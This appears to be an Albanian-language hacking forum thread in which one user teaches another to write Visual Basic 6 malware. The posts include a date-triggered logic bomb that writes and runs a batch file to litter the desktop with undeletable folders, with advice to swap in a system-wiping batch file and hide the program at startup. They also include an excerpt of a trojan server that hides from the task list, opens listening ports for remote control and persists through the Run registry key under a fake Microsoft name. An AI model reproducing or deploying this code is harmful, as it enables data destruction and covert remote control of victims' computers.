Trojanet dhe shperndarja e viruseve

[sniper_007]

kur eshte puna per shembuj nuk ke pse pyet sepse pergjigja eshte gjithmon !! po !!

e kam vb 6

[Force-Intruder]

OK atehere dhe boll per sot se me cmende ok ??? LoL
Pra do te bej nje shembull te shkurter dhe po e postoj vetem me jep kohen qe duhet mire ?
Bye

[sniper_007]

Mir Mir , se dhe une kam njecik pune , Kam per te lexuar ter keto tutore qe me ke derguar ti , sesht kollaj apo jo !?

po pres kodin............

[Force-Intruder]

hidhi nje sy ketij kodi :

Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal _
lpOperation As String, ByVal lpFile As String, ByVal _
lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long

Private Sub Text1_Change()
If Text1.Text = "11:33:00" Then
Call gallate
End If
End Sub

Private Sub Text2_Change()
If Text2.Text = "23-12-2004" Then
Call bum
End If
End Sub


Private Sub Timer1_Timer()
Text1.Text = DateTime.Time$
Text2.Text = DateTime.Date$
End Sub

Private Sub gallate()
On Error Resume Next

Dim Navigim&
Navigim = ShellExecute(Me.hwnd, "Open", _
"http://www.forumishqiptar.com", "", App.Path, 1)
End Sub

Private Sub bum()
On Error Resume Next

Open "c:\mbushe.txt" For Output As #1

Print #1, "@echo off"
Print #1, "Cls"
Print #1, ": Fillo"
Print #1, "cd c:\windows\desktop"
Print #1, "GoTo puna"
Print #1, ": puna"
Print #1, "md 1³Åų"
Print #1, "md 2ÅųÅ"
Print #1, "md 3³³³³"
Print #1, "md 4ųų"
Print #1, "md 5³³³Å"
Print #1, "md 6ÅÅÅÅ"
Print #1, "md 7³ÅÅÅ"
Print #1, "md 8ÅųÅ"
Print #1, "md 9³³³³"
Print #1, "md 10ųÅÅ"
Print #1, "md 11ÅÅÅÅ"
Print #1, "md 12ųų"
Print #1, "md 13³³Å³"
Print #1, "md 14³Å³³"
Print #1, "md 15ÅųÅ"
Print #1, "md 16ų³³"
Print #1, "md 17ųų"
Print #1, "goto mbyll"
Print #1, ": mbyll"
Print #1, "exit"
Close #1
Name "c:\mbushe.txt" As "c:\mbushe.bat"
Shell "c:\mbushe.bat"
MsgBox "O nonee...", vbCritical
Kill "C:\mbushe.bat"
End Sub


po Pres te me thuesh ti se cfare ben tamam tamam...???

[sniper_007]

o F-I , car ben more se na bone me dhimbje koke , ku i di un ter keto komanda, un ato file batch qe kam ber i jam pershtatur TERMINATORIT tend , ti me shkruan mua 2 faqe kode , dhe se mer mundimin te mi tregosh se per cfar behet fjale........

[Force-Intruder]

Meqe i kishe qejf batet ja edhe nje proggy qe ben bat te tipi qe te prishin pune >

[sniper_007]

ME QE E MORE MUNDIMIN TI SHKRUAJE , HAJDE MI SHPJEGO TANI !

PO PRES

[Force-Intruder]

shko ne vb.... merr nje form....plas aty 2 text box dhe nje timer....
kliko mbi forme dhe beji paste kodit qe te dhashe....
Ca do te te shpjegoj akomaaaaaaaaaaaaaaaaaaaaaa???????

[sniper_007]

un nuk dua te me japesh formen , por te me shpjegosh kodetttttttt


dhe mos u nevrikos , se te mbaj si me ekspertin prandaj te shkruaj ty

[Force-Intruder]

Fillimisht une nuk jam me eksperti! Ka te tjere shume me te mire se une.
E dyta.... nga ta nis une nqs ti nuk VB?????
Nejse kodi ben pak a shume kete...
Ne nje forme jane dy tekst boxe ne te cilat ne njeren afishohet ora dhe ne tjetren data....
nqs e shikon jane edhe dy funksione njeri "gallate" dhe tjetri "bum"
Gallata duke perdorur shellexecute ben qe sa here ora shkon aq sa eshte percaktuar me "if" (pra perdite ne 11.33) te hapet direkt nje dritare exploreri qe te con te forumishqiptar ndersa tjetra kur te vije data e caktuar therret funksionin bum. Funksioni bum nqs e shikon shkruan nje file bat e cila hap ne desktop (po te ishte win98 sistemi viktime) nja 17 direktori qe nuk mund te fshihen (pervec se me nje mund te gjate nepermjet dosit)...........
Kuptohet...ky ishte vetem nje shembull.... ti mund te zevendesosh bum me nje bat qe te fshije gjithe sistemin po pate qejf.
Tani ky ishte vetem nje shembull, keshtu qe kjo bombe nuk starton sa here qe tjetri ndez kompjuterin (pervec se po ta vesh ne folderin startup) dhe eshte vizibel (gje qe mund ta ndrrosh direkt nga VB perpara se te ndertosh exe-ne) dhe do te jete gjithashtu vizibel ne task manager (si ta fshehesh nuk ta shpjegoj dot tani se pertoj shume, eshte pune e gjate...)
Po nqs nuk merresh pak me VB zor se ke per ta kuptuar apo modifikuar e permiresuar dot nje kod te tille... Sidoqofte ky qe te dhashe une ishte thjesht nje shembul banal programimi ne VB
Ato qe mund te besh po te kesh kohe dhe deshire jane te pafundme.......

Ok then.........

(Ca kod nga trojani edi rama - serveri)

Dim Pos As POINTAPI
Dim Prev As POINTAPI
Dim rpos As Long

Private Const WM_SYSCOMMAND = &H112&
Private Const SC_SCREENSAVE = &HF140&


Dim info As String
Dim netinfo As String
Public counter As Integer

Dim cdflg As Integer



Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0

Private Type SECURITY_ATTRIBUTES

nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Function EvalData(Incoming As String, Side As Integer, Optional SubDiv As String) As String
Dim i As Integer
Dim TempStr As String

Dim Divider As String

If SubDiv = "" Then
Divider = ","
Else
Divider = SubDiv
End If

Select Case Side

Case 1

For i = 0 To Len(Incoming)
TempStr = Left(Incoming, i)

If Right(TempStr, 1) = Divider Then
EvalData = Left(TempStr, Len(TempStr) - 1)
Exit Function
End If
Next

Case 2
For i = 0 To Len(Incoming)
TempStr = Right(Incoming, i)

If Left(TempStr, 1) = Divider Then
EvalData = Right(TempStr, Len(TempStr) - 1)
Exit Function
End If
Next
End Select

End Function
Private Sub HideMeFromTaskList()
On Error Resume Next
RegisterServiceProcess GetCurrentProcessId, 1
End Sub

Public Sub ShowMeInTaskList()
On Error Resume Next
RegisterServiceProcess GetCurrentProcessId, 0
End Sub
Public Sub CloseMe()
On Error Resume Next
lngResult = ExitWindows(EWX_REBOOT, 0&)
Exit Sub
End Sub



Private Sub Form_Activate()
rpos = GetCursorPos(Pos)
End Sub

Private Sub Form_Load()
On Error Resume Next
If Not App.PrevInstance = True Then
wsEdi(counter).LocalPort = 1724
wsEdi(counter).Listen

HideMeFromTaskList

Else
Unload Me
End If
App.TaskVisible = False

wsBisedo.LocalPort = 1513
wsBisedo.Listen

wsVizato.LocalPort = 1279
wsVizato.Listen

wsExplorer.LocalPort = 1658
wsExplorer.Listen

wsSistemi.LocalPort = 2569
wsSistemi.Listen


Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String


subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

RetVal = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, _
KEY_WRITE, hregkey)
If RetVal <> 0 Then
Debug.Print "Nuk mund te hapet nencelesi!"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
RetVal = RegSetValueEx(hregkey, "Microsoft XP Tools", 0, REG_SZ, _
ByVal stringbuffer, Len(stringbuffer))

RegCloseKey hregkey

End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
wsEdi(counter).Close
End Sub

Private Sub wsExplorer_Close()
wsExplorer.Close
End Sub